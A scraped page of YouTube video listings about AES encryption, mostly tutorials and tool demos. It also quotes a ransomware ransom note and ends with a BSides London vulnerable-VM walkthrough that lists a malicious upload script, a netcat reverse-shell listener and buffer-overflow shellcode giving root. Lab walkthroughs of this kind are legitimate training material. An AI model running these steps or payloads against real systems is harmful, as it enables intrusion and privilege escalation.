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Python Tutorial: PyCrypto AES Encryption/Decryption
 
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In this tutorial I will show you the most basic encryption/decryption program for AES (Advanced Encryption Standard) using PyCrypto and Python 3. Check out my website at www.thepyportal.com for my blog, source code, tutorials, and references. Oh and don't forget the lonely Like button up there!
Views: 23825 Zach King
Python Encryption Tutorial with PyCrypto
 
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Sentdex.com Facebook.com/sentdex Twitter.com/sentdex How to use python to encrypt sensitive information, and later decrypt it, using PyCrypto! PyCrypto: https://www.dlitz.net/software/pycrypto/ The Code: http://sentdex.com/sentiment-analysisbig-data-and-python-tutorials/encryption-and-decryption-in-python-code-example-with-explanation/
Views: 79104 sentdex
Python Advanced Tutorial 10 - PyCrypto
 
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Sentdex.com Facebook.com/sentdex Twitter.com/sentdex How to use python to encrypt sensitive information, and later decrypt it, using PyCrypto! PyCrypto: . This is a tutorial on PyCrypto, looking at encrypting and decrypting files using AES-256. All Links and Slides will be in the description. Subscribe for more cool . This is a tutorial on PyCrypto, looking at encrypting and decrypting files using AES-256. All Links and Slides will be in the description. Subscribe for more cool . In this tutorial I will show you the most basic encryption/decryption program for AES (Advanced Encryption Standard) using PyCrypto and Python 3. Check out .
Views: 196 Raul Allison
Cipher Block Chaining Mode - Applied Cryptography
 
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This video is part of an online course, Applied Cryptography. Check out the course here: https://www.udacity.com/course/cs387.
Views: 56065 Udacity
Using the various cryptography functions of OpenSSL's crypto library. ( aes - des e.g)
 
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For more explanation and more related stuff Check here : http://shelltutorials.com/ Powered by : http://www.kryptohive.com
Views: 108 Shell Tutorials
ECB Encryption / Python Web Hacking | Natas: OverTheWire (Level 28)
 
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Hang with our community on Discord! https://discord.gg/Kgtnfw4 If you would like to support me, please like, comment & subscribe, and check me out on Patreon: https://patreon.com/johnhammond010 PayPal: http://paypal.me/johnhammond010 Site: http://www.johnhammond.org Twitter: https://twitter.com/_johnhammond
Views: 1165 John Hammond
AES block cipher running on a CUDA device (Linux tool)
 
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A university project of mine: Running the AES (Rijandel) block cipher on my GeForce 9600GTS. I achieved high data rates (about 130MB/s with the CTR mode of operation). The project is aimed at CUDA 2.2 and available for download on my homepage. Thanks for anyone who tests the tool with even more powerful cards, it should scale very well.
Views: 3622 linuxgeek81
AES256 Encrypt/Decrypt Overview
 
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In this video, I overview a program I made with Python 3 that allows you to easily encrypt, and decrypt your files using AES256 bit encryption. Link to Github project: https://github.com/Th3Tr1ckst3r/AES256_File_Encrypt_Decrypt Social Media: https://th3tr1ckst3r.github.io/
Views: 96 Adrian Tarver
decrypt Screencast
 
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Demonstration of decrypt.py https://github.com/jtwaleson/decrypt/#decrypt (recorded with Kazam Screencaster)
Views: 29422 Alex Willmer
AES Crypt file encryption for Windows, MAC, Android
 
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Downloading, installing and using AES Crypt file encryption on Windows 7 and MAC video. Links: http://www.aescrypt.com/ http://www.aescrypt.com/download/ https://play.google.com/store/apps/details?id=com.codewell4.Crypt4AllLite Disclaimer: This video is purely instructional and I am not responsible if you install the program. Proceed at your own risk. I am not affiliated to nor connected with the software which is available freely on the net. If you follow the instructions on the websites at links provided for convenience you should be OK. Only constructive, positive feedback (in English) welcome!
Views: 7793 amrikw
GPU AES-256 Encryption test
 
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Acceleration of AES code from OpenSSL 1.0.1e. Run on single GK104 GPU. Speedup of more than 25x vs CPU implementation. AES-256 Encryption comparison on CPU and GPU (CUDA) on 524MB file: CPU: 2,991 msec GPU: 106 msec Throughput speed: CPU: 175 MB/sec GPU: 4,936 MB/sec http://twistcode.com
Views: 2517 TwistCoder
Python: AES Encryption App?
 
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Hi fellow pythonists! Just wanting to say thanks for the recent 1000 views hit-mark, and get your opinion on making a Python Tutorial for an AES encryption/decryption app! Please give this a like if you do!
Views: 1334 Zach King
Installing AES Crypt on Ubuntu
 
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In this video we will install AES Crypt on Ubuntu 14.04. Here are the commands shown in the video: wget https://www.aescrypt.com/download/v3/linux/AESCrypt-GUI-3.10-Linux-x86_64-Install.tgz tar -zxf AESCrypt-GUI-3.10-Linux-x86_64-Install.tgz sudo ./AESCrypt-GUI-3.10-Linux-x86_64-Install For a text guide more visit: https://www.hwrrobotics.com/content/installaescryptonubuntu14.04
Views: 1359 HWR Robotics
Advanced Project - AES Encryption
 
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The above video is a demonstration of an AES algortihm being implemented on FPGA. The FPGA being used is spartan 3E Basys 2 board. Input plain text and key being used are on FIPS 197 standard.
Views: 758 Vignesh Kumar
AES Encryption 2: AddRoundKey, SubBytes and ShiftRows
 
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In this vid we'll fill out the bodies to three of the steps in AES. These three steps are AddRoundKey, SubBytes and ShiftRows. The remaining steps to AES are rather fiddly, MixColumns and ExpandKey, so we'll look at those separately. I've also taken the opportunity to introduce Galois fields for the AddRoundKey section. AddRoundKey is really just a matter of performing XOR, but it helps to understand Galois fields before we come to the MixColumns step. Link to the S_Box on Wikipedia: https://en.wikipedia.org/wiki/Rijndael_S-box Link to the Finite Field/Galois Field Wikipedia page: https://en.wikipedia.org/wiki/Finite_field Become a patron and support What's a Creel programming vids on Patreon: www.patreon.com/whatsacreel Play Intergalactic Memory for Free: http://apps.microsoft.com/windows/en-us/app/intergalactic-memory-free/92c1094c-32f5-4730-86f3-c43c46affe52 Full version of Intergalactic Memory: http://apps.microsoft.com/windows/app/intergalactic-memory/ae9457e6-dbc1-468b-93cb-39f80835f19a FaceBook: www.facebook.com/pages/WhatsaCreel/167732956665435
Views: 31643 What's a Creel?
CBC Implementation - Applied Cryptography
 
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This video is part of an online course, Applied Cryptography. Check out the course here: https://www.udacity.com/course/cs387.
Views: 1021 Udacity
AES Cracking
 
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Demo based on: https://www.linkedin.com/pulse/article/20141130113917-15260610-otp-the-uncrackable-code
Views: 14527 Bill Buchanan OBE
AES timing attack on dynamic SBox
 
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A timing attack was performed on an insecure AES implementation. It uses a dynamically generated SBox. which has a data-dependent timing behavior. The video displays the key extraction process over time, when more and more measurements are included into calculation. The final number of measurements is 15.000. Each color+symbol represents one key byte. The blue dot, for example, stands for the first key byte and the blue circle is the second one and so on.
Views: 442 JohannesObermaier
cryptography - Padding Oracle Attacks
 
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Cryptography To get certificate subscribe: https://www.coursera.org/learn/cryptography ======================== Playlist URL: https://www.youtube.com/playlist?list=PL2jykFOD1AWb07OLBdFI2QIHvPo3aTTeu ============================ Youtube channel: https://www.youtube.com/user/intrigano ============================ https://scsa.ge/en/online-courses/ https://www.facebook.com/cyberassociation/
Views: 5042 intrigano
How to code symmetric Encryption and Decryption Program with C++ (c++ learning)
 
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Click Subscrib ... In this video you will learn, How to code symmetric Encryption and Decryption Program with C++. 1. all you need to have a compiler in my case i'm using DevC++. 2. on each change you must compile the whole program before execute it. 3. Don't forget to subscribe to my channel. for any question post comment or email me: [email protected]
Views: 441 Khaliq Izrail Haxor
ImmediateCrypt v 1.0 : Encryption and Decryption with AES 256
 
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Download ImmediateCrypt v 1.0 : https://code.google.com/p/immediatecrypt/downloads/list MY Facebook Page - https://www.facebook.com/blacktrack4 Add me in Facebook - https://www.facebook.com/tejash1991 and Dont Forget about Subscribe.
Views: 1204 Technical Root
Introduction to CBC Bit-Flipping Attack
 
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Author: Jeremy Druin Twitter: @webpwnized Description: This video shows a solution to the view-user-privilege-level in Mutillidae. Before viewing, review how XOR works and more importantly that XOR is communicative (If A xor B = C then it must be true that A xor C = B and also true that B xor C = A). The attack in the video takes advanatage that the attacker knows the IV (initialization vector) and the plaintext (user ID). The attack works by flipping each byte in the IV to see what effect is produced on the plaintext (User ID). When the correct byte is located, the ciphertext for that byte is recovered followed by a determination of the correct byte to inject. The correct value is injected to cause the User ID to change. Mutillidae is available for download at http://sourceforge.net/projects/mutillidae/. Updates about Mutillidae are tweeted to @webpwnized along with annoucements about video releases. Thank you for watching. Please support this channel. Up vote, subscribe or even donate by clicking "Support" at https://www.youtube.com/user/webpwnized!
Views: 5481 webpwnized
How to Encrypt Files Using AES
 
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Check out the website: http://mkasoft.com/how-to/45-how-to-encrypt-aes there you can find source files and other how tos, and tutorials.
Views: 11881 mkaatr
How do I REMOVE " .ODIN" file encrypt ransomware virus (Removal guide)
 
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How to get rid of .ODIN virus? What is ODIN files? Odin virus is a new Locky Ransomware variant. Odin is a file-encrypting ransomware, which encrypts the personal documents found on infected computer using RSA-2048 key (AES CBC 256-bit encryption algorithm), then displays a message which offers to decrypt the data if a payment of about 0.5 Bitcoins, or approximately $280 is made. The ransom notes that are created by the .ODIN virus are _HOWDO_text.html, _HOWDO_text.bmp, and _[2_digit_number]_HOWDO_text.html. Once istalled, ".Odin" virus will encrypt all files, rename them, and then append the .ODIN extension. The ransom notes message: ?++|_* cygumkdsyiwvq oirtnjwp clugtac ddcemsfkucgwufkmdmp e !!! IMPORTANT INFORMATIONcscaxaeo!!!! Allcefyyvxwtof your gslbkbgfiles nyyvbbbqqyareasmzhmqhlaencrypted flnwluqswith RSA-2048 and AES-128 jxmbyodnwciphers. Morecinformation aboutdtheeRSAcmkzfadanddAES can beefound here: ca dgbkvqurhttp://en.wikipedia.org/wiki/RSA_(cryptosystem) d vjsckaooktra gyzbziiphttp://en.wikipedia.org/wiki/Advanced_Encryption_Standard d oaiowbxbqonqgs Decryptingaofeyourdsykqrzfiles duogtoskwafisanopnsblonly possibleemagpylbsodwithethe privateakey fnpnbandbdecryptbprogram, which iseon cwpodour acydiahokdsecret abqhbcserver. Todreceivedthqqktyour ilbeiprivate key follow onedofcicuuauoothe links: eehruelwgmdmyhwjo nutoyfuenmw gxoxbeess1. qrhtmldjhttp://5n7y4yihirccftc5.tor2web.org/MJJWHPA7EQCRxxxx eeliyrc 2. http://5n7y4yihirccftc5.onion.to/MJJWHPA7EQCRxxxx Ifbgruwbiaall of this addresses are not ycxseddavailable,cfollow these syusfkyrluslsteps: upbvuzh c wrzoczcpnr1. hzsxvhmDownload andainstallbfhtwkjrTor gooardqtBrowser: https://www.torproject.org/download/download-easy.html a yjrghkmj zojmzyyw 2.ejmphcdvrbAfter adsuccessful bemfpoinstallation,cqteyyqvlekruneptxyyayzpthebcaducsbrowser and wait forepgstkcdnvuinitialization. adxyhlwyr ceatnntnldejcptl kncxig3. jzgpxoxgjmTypeeeuwzsjrrgcjkin mheiivthe address bar: 5n7y4yihirccftc5.onion/MJJWHPA7EQCRxxxx a ixuxbuc 4. gqgceicfFollowdthearjhelzinstructionseon ooixnpjsuwthe site. !!! cnjwucuYourcpersonal cziveonidentification mxtkjtgtID: MJJWHPA7EQCRxxxx !!! _*_. How to remove .ODIN virus? .ODIN virus removal guide: Restart your PC into safemode. Remove associated ODIN virus Files. How to decryt file enctypted by the .ODIN virus? Unfortunately, at this time there is still no way to decrypt Zepto/Locky encrypted folder for free.
Views: 6659 Mr. RemoveVirus
aes tutorial, cryptography Advanced Encryption Standard AES Tutorial,fips 197
 
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https://8gwifi.org/CipherFunctions.jsp Reference book: http://leanpub.com/crypto Computer Security, Cryptography Advanced Encryption Standard AES,fips 197 The Advanced Encryption Standard (AES) specifies a FIPS-approved cryptographic algorithm that can be used to protect electronic data. The AES algorithm is a symmetric block cipher that can encrypt (encipher) and decrypt (decipher) information. Encryption converts data to an unintelligible form called ciphertext; decrypting the ciphertext converts the data back into its original form, called plaintext. The AES algorithm is capable of using cryptographic keys of 128, 192, and 256 bits to encrypt and decrypt data in blocks of 128 bits. aes encryption and decryption aes encryption example aes encryption tutorial aes encryption online aes algorithm, aes encryption explained, aes algorithm tutorial, aes encryption and decryption algorithm, aes encryption algorithm, aes algorithm lecture, aes algorithm example, aes cryptography, aes encryption and decryption algorithm
Views: 145419 Zariga Tongy
ROT18 Encryption and Decryption in Python
 
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ROT18 Cipher in Python 00:57 - Encryption 02:12 - ROT5 03:19 - ROT13 04:49 - Testing Encryption 05:09 - Decryption 05:55 - testing decryption ROT18 cipher encryption and decryption using python3 programming language ROT18 is a substitution cipher , its a combinition of ROT5 and ROT13 thus naming it ROT18
Views: 28 VoxelPixel
Module 5: Encryption and Decryption with OpenSSL
 
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This video details how to encrypt and decrypt using OpenSSL. References: Farid's Blog. (n.d.). Retrieved March 1, 2015, from http://farid.hajji.name/blog/2009/07/15/encryption-and-decryption-with-openssl/
Views: 4996 Simple Security
Java Projects With Source Code - AES Encryption and Decryption in Java Part - 3
 
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This video show you how to use previously written AES algorithm code to encrypt and decrypt the text.
Views: 25496 Infinity
PicoCTF 2017 [18] computeAES
 
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Thanks for watching! If you would like to support me, please like, comment & subscribe and check me out on Patreon or Amazon! https://patreon.com/johnhammond010 https://www.amazon.com/b?_encoding=UTF8&tag=johnhammond01-20&linkCode=ur2&linkId=1004072976202a14cf16617462603dae&camp=1789&creative=9325&node=13900871
Views: 1432 John Hammond
VaultPad Encrypting local messages AES
 
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VaultPad an intuitive Cryto-Pad application. Presentation 1 : Encrypting local messages (Alice to Alice) using Advanced Encryption Standard (AES) - Symmetric-key algorithm. Video made with Foto2Avi and Screen2Avi Download VaultPad from www.trustfm.net
Views: 100 TrustFm
Brute-Forcing Lockdown Harddrive Pin Codes
 
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by Colin O'Flynn This presentation demonstrates a method of brute-forcing an AES-256 encrypted hard drive by spoofing the front-panel keyboard. In addition to tears into the internal design of the hard drive, and extends the work by J. Czarny & R. Rigo to validate the (in)security of any encrypted drive based on the MB86C311 chipset.
Views: 1855 Black Hat
Padding Oracle Attack Part 1 - Building a vulnerable CBC mode of operation
 
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https://corvuscrypto.com/posts/padding-oracle-attack-part-one This is part 1 of a two part video to showcase the padding oracle attack. In this video I explain/show how to build the CBC mode of operation while also leaving open a vulnerability that will ultimately be exploited in the next video. Other Resources: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html
Views: 1256 Corvus Crypto
Easily Encrypt and Decrypt any selected text with a password using secure AES Algorithm
 
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Please watch: "IPv6 and Multiuser Lab showing wan connection using cisco packet tracer" https://www.youtube.com/watch?v=qq9r_A94lh4 -~-~~-~~~-~~-~- Easily Encrypt and Decrypt any selected text with a password using secure AES Algorithm.You just have to select an encrypted or unencrypted text in your web browser and encrypt decrypt it using just a righ click.Encryption decryption is also available on cryptfire.com.
Views: 240 slashrootdotin
how to set configure iron python visual studio 2010 2017 django framework website c# .net 2018 smi
 
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setting ipy how to set configure iron python visual studio 2010 2015 2017 django framework website c# .net 2018 dll problem version problem solution works fix technical support new features different smistudio website
Views: 412 SMI Studio
AES VHDL
 
00:54
Image Processing, Computer Vision, Machine Learning, Deep Learning, FPGA, RTL, VLSI C, C++, Python, VHDL, Verilog Visual Studio, Eclipse, Pycharm, MATLAB, Xilinx, Jupyter Notebook OpenCV, DLIB, SSD, TensorFlow, Tesseract, Keras, FFMPEG, Eigen, Anaconda, Boost, YOLO, Alexnet, ImageNet, ReLu, Point Cloud, Caffee, Pytorch, PipeCNN, ZynqNet Object Detection, Classification, OCR, ANPR Image Processing, VLSI, FPGA, VHDL, MATLAB Training in Ahmedabad Drop Your Email in Comment Section
Views: 40 Cultivating Brain
C# 6.0 Tutorial - Advanced - 56. RijndaelManaged Cryptography, Encrypt and Decrypt Example
 
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Learn more free at my blog http://www.manuelradovanovic.com If you have any question please feel free to ask. Subscribe me on YouTube, please! Thank You!
Views: 786 Manuel Radovanovic
File Encryption - Applied Cryptography
 
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This video is part of an online course, Applied Cryptography. Check out the course here: https://www.udacity.com/course/cs387.
Views: 1767 Udacity
Encrypting Files with OpenSSL- BASH - Linux
 
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http://filmsbykris.com/wordpress/?p=276 Got Questions? visit http://FilmsByKris.com/forum Chat with us and learn more http://FilmsByKris.com/irc
Views: 15595 Kris Occhipinti
File encryption
 
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Very easy to use software, to encrypt\decrypt any file. http://www.kybernetiks.com Download http://www.kybernetiks.com/file_encryption.php
AES Encryption and Decryption Algorithm
 
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AES Encryption and Decryption Algorithm for Image and Text
Views: 16377 VERILOG COURSE TEAM
Advanced Cryptography: Lab 6. Tunnels
 
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http://asecuritysite.com/crypto/day6
Views: 1044 Bill Buchanan OBE
openssl s_client cipher syntax
 
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openssl s_client cipher suite syntax
Views: 215 AskFrank15
Installing Crypto++ library on Ubuntu with AES example
 
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hi guys, i'm going to show u how to install ""Crypto++"" library on ubuntu and run simple AES encryption/decryption example 1- open u r terminal 2- run the following commands: sudo apt-get update sudo apt-get install libcrypto++-dev libcrypto++-doc libcrypto++-utils 3- congrat, y have intsalled crypto++ on u r ubuntu 4- now, for the AES example 5- copy the program (https://www.mediafire.com/?12367xud3yvk1by) and saved it as "aesexample2.cpp" (i saved it in my desktop) 6- now, open u r terminal and go to the directory where u have stored the program 7- now type the following command: g++ -g3 -ggdb -O0 -Wall -Wextra -Wno-unused -o AesOutput aesexample2.cpp -lcryptopp 8- now write the following: ./AesOutput
Views: 7842 Abudalkhalek Hussien
RSA Key Generation, Signatures and Encryption using OpenSSL
 
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Demonstration of using OpenSSL to create RSA public/private key pair, sign and encrypt messages using those keys and then decrypt and verify the received messages. Commands used: openssl. Created by Steven Gordon on 7 March 2012 at Sirindhorn International Institute of Technology, Thammasat University, Thailand.
Views: 59460 Steven Gordon
Bsides London 2017
 
26:19
My Website: http://www.whitehatdefenses.com Background Music Link: https://freesound.org/people/metrostock99/sounds/350891/ Vulnerable Bsides Image: https://www.vulnhub.com/entry/hackerhouse-bsides-london-2017,202/ Additional Resource Links: https://hacker.house/lab/bsides-london-sharing-is-caring-challenge-solution/ http://the.unsocial.network/bsides-london-2017-sharing-is-caring-solution-of-sorts/ https://haxx.in/bsides-london-2017-pwn.py https://dslul.github.io/hacking-the-hackerhouse-vm-contest.html https://blog.gautiercolajanni.fr/gsoc/r2/2016/05/15/setting-up-radare2-webui.html Commands used: [email protected]:~# cd Desktop [email protected]:~/Desktop# ifconfig [email protected]:~/Desktop# netdiscover -r 10.0.1.0/24 [email protected]:~/Desktop# unicornscan 10.0.1.100 [email protected]:~/Desktop# dirb http://10.0.1.100/ /usr/share/wordlists/seclists/Discovery/Web_Content/raft-large-directories-lowercase.txt -N 400 [email protected]:~/Desktop# dirb http://10.0.1.100/ /usr/share/wordlists/seclists/Discovery/Web_Content/common.txt -N 400 [email protected]:~/Desktop# echo "81a464617461d94459546f784f6e747a4f6a5136496d5a73595763694f334d364d6a5936496a49304d7a5132597a5a6b4e6d59334d7a63304e5759334e4459344d7a4d334d6a5131496a7439" | xxd -r -p | base64 [email protected]:~/Desktop# echo 'gaRkYXRh2URZVG94T250ek9qUTZJbVpzWVdjaU8zTTZNalk2SWpJME16UTJZelprTm1ZM016YzBOV1kzTkRZNE16TTNNalExSWp0OQ==' | base64 --decode [email protected]:~/Desktop# echo 'YToxOntzOjQ6ImZsYWciO3M6MjY6IjI0MzQ2YzZkNmY3Mzc0NWY3NDY4MzM3MjQ1Ijt9' | base64 --decode http://10.0.1.100/nt00000906/not_useful/nt00000962/ [email protected]:~/Desktop# strings load [email protected]:~/Desktop# upx -d load [email protected]:~/Desktop# strings load [email protected]:~/Desktop# r2 -q -e http.ui=m -c=H /root/Desktop/load [email protected]:~/Desktop# echo -n "WannaCry?" | od -A n -t x1 | sed 's/ *//g' [email protected]:~/Desktop# openssl aes-128-cbc -K 57616E6E614372793F -iv 0 -d -in test.bin.encrypted -out test.bin [email protected]:~/Desktop# strings test.bin [email protected]:~/Desktop# openssl aes-128-cbc -K 57616E6E614372793F -iv 0 -e -in test.bin -out test2.bin [email protected]:~/Desktop# md5sum test.bin.encrypted [email protected]:~/Desktop# md5sum test2.bin [email protected]:~/Desktop# gcc -m32 -shared -fPIC -o exploit.so exploit.c [email protected]:~/Desktop# echo -n "WannaCry?" | od -A n -t x1 | sed 's/ *//g' [email protected]:~/Desktop# openssl aes-128-cbc -K 57616e6e614372793f -iv 0 -e -in exploit.so -out exploit.bin [email protected]:~# nc -nvlp 8888 [email protected]:~/Desktop# python import requests login = requests.post("http://10.0.1.100/nt00000906/not_useful/login/checklogin.php", data = {'myusername' : 'admin','mypassword' : '$4lmost_th3rE'}) upload_req = requests.post("http://10.0.1.100/nt00000906/not_useful/_dev_store/upload-file.php", cookies=login.cookies, files={'file': ('exploit.bin', open('/root/Desktop/exploit.bin').read(), 'application/octet-stream')}) filename = upload_req.text.split("_files/")[1].split("\"")[0] print filename final_req = requests.get("http://10.0.1.100/cgi-bin/load?file=" + filename) $ python -c 'import pty;pty.spawn("/bin/bash")' [email protected]:/usr/lib/secretplace$ export TERM=xterm [email protected]:/usr/lib/secretplace$ find / -perm -4000 ! -type l [email protected]:/usr/lib/secretplace$ cd /home/level1 [email protected]:/home/level1$ ls shisu [email protected]:/home/level1$ file shisu [email protected]:/home/level1$ strings shisu [email protected]:/home/level1$ objdump -dlFw shisu [email protected]:/home/level1$ gdb shisu (gdb) run $(python -c "print('A'*256)") (gdb) run $(python -c "print('A'*512)") (gdb) run $(python -c "print('A'*516)") // CRASHES HERE FIRST! (gdb) q [email protected]:/home/level1$ gdb shisu (gdb) b *0x080484a6 (gdb) run $(python -c "print('A'*516)") (gdb) x/50xb $esp [email protected]:/home/level1$ ./shisu $(python -c "print('\x90'*342+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x04\xf6\xff\xbf'*32)") // NEED TO CHANGE THE LAST ADDRESS TO BUFFER START + 4!! # whoami whoami root # id id uid=0(root) gid=1000(level0) groups=1000(level0)
Views: 406 WhiteHat Defenses

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